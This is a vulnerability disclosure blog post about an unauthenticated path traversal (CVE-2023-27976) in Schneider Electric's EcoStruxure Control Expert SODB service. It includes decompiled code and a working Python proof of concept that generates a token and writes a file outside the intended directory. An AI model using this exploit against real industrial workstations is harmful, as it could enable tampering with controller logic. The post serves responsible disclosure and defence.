Skip to main content

Losing control over Schneider's EcoStruxure Control Expert

 

During Q2 2022, in view of the geopolitical situation that unfolded after the Russian invasion of Ukraine, I decided that it wouldn't do any harm to kill some bugs in some of the main players within the ICS arena. I focused in those software frameworks that are running on the engineering workstations so, if compromised, attackers would be in a privileged position to manipulate controllers logic, thus enabling sophisticated attacks with a potential physical impact (i.e triton).

I responsibly reported a bunch a unauthenticated remotely exploitable bugs to the corresponding vendors. In one case, after being ignored for months, I had to resort to the 'twitter, do your magic' approach and tweeted that I would be disclosing the issues if the situation persisted. It took just few hours for the vendor to get back to me. The positive side is that they found the bugs interesting and all that mess ended up in paid work.  

This blog post covers a similar scenario in a different vendor: I reported these issues to Schneider on June 20, (2022) which were then largely ignored for 9 months until I, once again, had to use the '0day threat' in order to get this situation 'fixed'.

Let's see how unauthenticated, remote attackers, can compromise an engineering workstation running Schneider Electric's EcoStruxure Control Expert.

CVE-2023-27976

CVSS v3.1 Base Score 8.8 | High | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H 

This is mainly a design issue in the Service Oriented Device Bus (SE.SODB.Host.exe). This component is a fundamental part of the Control Expert architecture, supporting its 'Topology' functionality which allows to interface with different kinds of industrial devices, including safety controllers.

'SE.SODB.Host.exe' exposes a specific set of web services, built on top a Nancy Webserver, at port 19980/TCP listening on all interfaces.

These core endpoints, which are extended by different agents (local plugins found 'C:\Program Files (x86)\Schneider Electric\Control Expert 15.1\SE.SODB\Configuration\Dll'), do not implement any kind of security boundary, neither follow the best-practice security patterns for securing web requests. As a result, it is possible to leverage these security weaknesses, among other things, to create arbitrary files on the victim's file system as 'NT/AUTHORITY', which can lead to an arbitrary code execution scenario.

One of those endpoints is 'Zip/{Token}',  which is intended to implement a functionality to exchange files.


// SE.SODB.Host.Module.SodbModule
using System.IO;
using System.Runtime.CompilerServices;
using System.Threading;
using Nancy;

public unsafe SodbModule()
{
    Get(string.Empty, (dynamic parameters) => GetAgentStatus(), (NancyContext context) => true, "GetAgentsStatus");
    Post("Zip/{Token}", (dynamic parameters) => OnZipReceived(parameters), (NancyContext context) => true, "PostAddZip");
    Get("Alive", (dynamic parameters) => HttpStatusCode.OK, (NancyContext context) => true, "GetAlive");


As we see in the code above, the handler for this API is 'OnZipReceived', where 'Selector.StoreFile' is invoked.

private dynamic OnZipReceived(dynamic parameters)
{
    Message model = new Message
    {
        Error = new CustomError(ExceptionType.FileAccess, "OnZipReceived: no file found")
    };
    if (Request.Files.Any())
    {
        HttpFile httpFile = Request.Files.FirstOrDefault();
        if (httpFile != null)
        {
            model = Selector.StoreFile(parameters.token, httpFile.Name, httpFile.Value);
        }
    }
    return base.Response.AsJson(model);
}

This method does not implement any validation for the 'filename' parameter, so  we can easily identify a common path traversal vulnerability when 'Path.Combine' is called.

public Message StoreFile(string token, string filename, Stream fileContents)
{
    IAgentFunction agentFunction = null;
    Message result = new Message();
    try
    {
        agentFunction = FindFunction(token);
        if (agentFunction == null)
        {
            throw new FunctionNotFoundException("function for Token " + token + " not found - file not added");
        }
        agentFunction.Token.UploadStatus = UploadStatus.Storing;
        SelectorParameters.Log.Debug($"File {filename} for token {token} received");
 [!!=>] string text = Path.Combine(Path.GetTempPath(), "SODB_" + token + "_" + filename);
        using (FileStream destination = new FileStream(text, FileMode.Create))
        {
            fileContents.CopyTo(destination);
        }
        lock (locker)
        {
            SelectorParameters.Log.Debug($"ZipPath {text} updated");
            agentFunction.Token.ZipPath = text;
            agentFunction.Token.UploadStatus = UploadStatus.Ready;
            return result;
        }
    }

However, to reach that vulnerable code we firstly need to pass the 'FindFunction' check, which requires a 'Token' parameter.

using SE.SODB.Shared.Contract.Interface;

private IAgentFunction FindFunction(string token)
{
    foreach (IAgent loadedAgent in LoadedAgents)
    {
        IAgentFunction agentFunction = loadedAgent.FunctionFromToken(token);
        if (agentFunction != null)
        {
            return agentFunction;
        }
    }
    return null;
}

These 'tokens' are randomly generated GUID values,  associated with the transactions supported by the functions implemented by the different agents (plugins).

// SE.SODB.Shared.Contract.DataContract.Token
using System;
using System.Runtime.CompilerServices;
using SE.SODB.Shared.Contract.Enumeration;

public Token()
{
    Value = Guid.NewGuid().ToString();
    base..ctor();
    FunctionType = FunctionType.Unknown;
    UploadStatus = UploadStatus.Unknown;
    CreationTime = DateTime.UtcNow;
}

As a result, before invoking the vulnerable method we need to find a way to generate one of these valid Tokens. The logic behind this task can be found in the SE.SODB Contract (SE.SODB.Shared.*), that defines the data and interface model for the agents. First of all, these agents may implement the following functions

// SE.SODB.Shared.Contract.Enumeration.FunctionType
public enum FunctionType
{
    Discovery,
    Identity,
    Locate,
    ConfApplyCs,
    ConfConsistency,
    ConfDownload,
    ConfUpload,
    FWConsistency,
    FWDownload,
    Health,
    Response,
    Unknown,
    SetPLCState,
    GetPLCState,
    GetPLCDataSet,
    DirectedProbe,
    SetPLCDataSet,
    GetPLCProtectionState,
    ReserveAndCheckPLC,
    ValidateCredentials,
    GetDeviceCertificate,
    TrustCertificate,
    GetCustomDeviceData,
    SendCommand,
    GetDeviceStatus
}

When they are loaded, the agents register their implemented functions, for instance 'SimpleHealthAgent' ('C:\Program Files (x86)\Schneider Electric\Control Expert 15.1\SE.SODB\Configuration\Dll\SE.SODB.SimpleHealthAgent')

// SE.SODB.SimpleHealthAgent.SimpleHealthAgent
public override void RegisterFunctions()
{
    RegisterHealth();
    RegisterIdentity();
}

This will expose the agent's API at the corresponding URL, in this case we would have http://{controlServer_IP}:19980/SODB/Agents/SimpleHealthAgent/Health/' and http://{controlServer_IP}:19980/SODB/Agents/SimpleHealthAgent/Identity/'

We see that POST content is json-serialized

// SE.SODB.Shared.Util.Class.WebHelper
using System.Net.Http;
using System.Threading.Tasks;
using SE.SODB.Shared.Contract.DataContract;

protected virtual async Task<string> Post(string url, CommunicationParameters commParams)
{
    StringContent val = new StringContent(JsonSerialiserHelper.Serialise(commParams));
    return await (await HttpClientInstance.PostAsync(url, (HttpContent)(object)val).ConfigureAwait(continueOnCapturedContext: false)).Content.ReadAsStringAsync().ConfigureAwait(continueOnCapturedContext: false);
}

and the  'CommunicationParameters' are as follows

[DataContract]
public class CommunicationParameters : IErrorProvider
{
    [DataMember]
    public Protocol Protocol { get; set; } = Protocol.Http;

    [DataMember]
    public ServicesSupported ServicesSupported { get; set; }

    [DataMember]
    public string UserName { get; set; }

    [DataMember]
    public string Password { get; set; }

    [DataMember]
    public string Address { get; set; }

    [DataMember]
    public ushort Port { get; set; }

    [DataMember]
    public string BaseUrl { get; set; }

    [DataMember]
    public string FtpDirectoryPath { get; set; }

    [DataMember]
    public CustomError Error { get; set; }

    [DataMember]
    public byte UnitId { get; set; }

    [DataMember]
    public Dictionary<string, string> OptionalParams { get; set; }

    [DataMember]
    public string Key { get; set; }

    public CommunicationParameters()
    {
    }

    public CommunicationParameters(CustomError error)
    {
        Error = error;
    }

    public string GetFullAddress()
    {
        if (Address == null)
        {
            return null;
        }
        string text;
        if (Port <= 0)
        {
            text = Address;
            if (text == null)
            {
                return "";
            }
        }
        else
        {
            text = $"{Address}:{Port}";
        }
        return text;
    }
}

So eventually we have all the required information to generate a valid token, which we can then use to reach the vulnerable code in the 'Zip/{token}' vulnerable endpoint. The following PoC illustrates the exploitation flow.

import requests
import json

#Token Generation
r = requests.post('http://localhost:19980/SODB/Agents/SimpleHealthAgent/Health/ping', 
    json={"Protocol":1,"ServicesSupported":0,"UserName":"","Password":"","Address":"127.0.0.1","Port":0,"BaseUrl":"","FtpDirectoryPath":"","Error":"","UnitId":0,"OptionalParams":"","Key":""})

resp = json.loads(r.text);
print(resp["Value"])

#Exploit Path Traversal
r=requests.post('http://localhost:19980/SODB/Zip/'+resp["Value"],files={ 'filename': ('..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\readme.pls.txt', 'This is a vulnerability')})

print(r.text)

This specific vulnerability can be remotely exploited, for instance via a DNS rebinding attack scenario or if the service is exposed through the firewall. However, it should be noted that there is no default rule to allow incoming connections to this service, so it will depend on the workstation configuration. Obviously, a local process can also exploit this to escalate privileges.

Defenders should note that Schneider Electric has not fixed the underlying issues, but merely implemented a mitigation that forces the Service to listen on the local interface only, which still enables some attack vectors. 

Conclusion

If EcoStruxure Control Expert plays a significant role for your industrial processes, you better keep an eye on it, there is still a bunch of issues to be uncovered.







Popular posts from this blog

SATCOM terminals under attack in Europe: a plausible analysis.

------ Update 03/12/2022 Reuters has published new information on this incident, which initially matches the proposed scenario. You can find the  update  at the bottom of this post. ------ February 24th: at the same time Russia initiated a full-scale attack on Ukraine, tens of thousands of KA-SAT SATCOM terminals suddenly  stopped  working in several european countries: Germany, Ukraine, Greece, Hungary, Poland...Germany's Enercon moved forward and acknowledged that approximately 5800 of its wind turbines, presumably those remotely operated via a SATCOM link in central Europe, had lost contact with their  SCADA server .  In the affected countries, a significant part of the customers of Eutelsat's domestic broadband service were also unable to access Internet.  From the very beginning Eutelsat and its parent company Viasat, stated that the issue was being investigated as a cyberattack. Since then, details have been scarcely provided but few days ago I came across a really inter

VIASAT incident: from speculation to technical details.

  34 days after the incident, yesterday Viasat published a statement providing some technical details about the attack that affected tens of thousands of its SATCOM terminals. Also yesterday, I eventually had access to two Surfbeam2 modems: one was targeted during the attack and the other was in a working condition. Thank you so much to the person who disinterestedly donated the attacked modem. I've been closely covering this issue since the beginning, providing a  plausible theory based on the information that was available at that time, and my experience in this field. Actually, it seems that this theory was pretty close to what really happened. Fortunately, now we can move from just pure speculation into something more tangible, so I dumped the flash memory for both modems (Spansion S29GL256P90TFCR2 ) and the differences were pretty clear. In the following picture you can see 'attacked1.bin', which belongs to the targeted modem and 'fw_fixed.bin', coming from t

Reversing 'France Identité': the new French digital ID.

  -------------- Update from 06/10/2023 : following my publication, I’ve been in contact with France Identité CISO and they could provide more information on the measures they have taken in the light of these findings: We would like to thank you for your in-depth technical research work on “France Identite” app that was launched in beta a year ago and for which you were rewarded. As you know, the app is now generally available on iOS and Android through their respective app stores. Your work, alongside French cybersecurity agency (ANSSI) research, made us update and modify deeply the E2EE Secure Channel used between the app and our backend. It is now mostly based on TLS1.3. Those modifications were released only a few weeks after you submitted your work through our private BugBounty program with YesWeHack. That released version also fixes the three other vulnerabilities you submitted. From the beginning of “France Identite” program, it was decided to implicate cybersecurity community,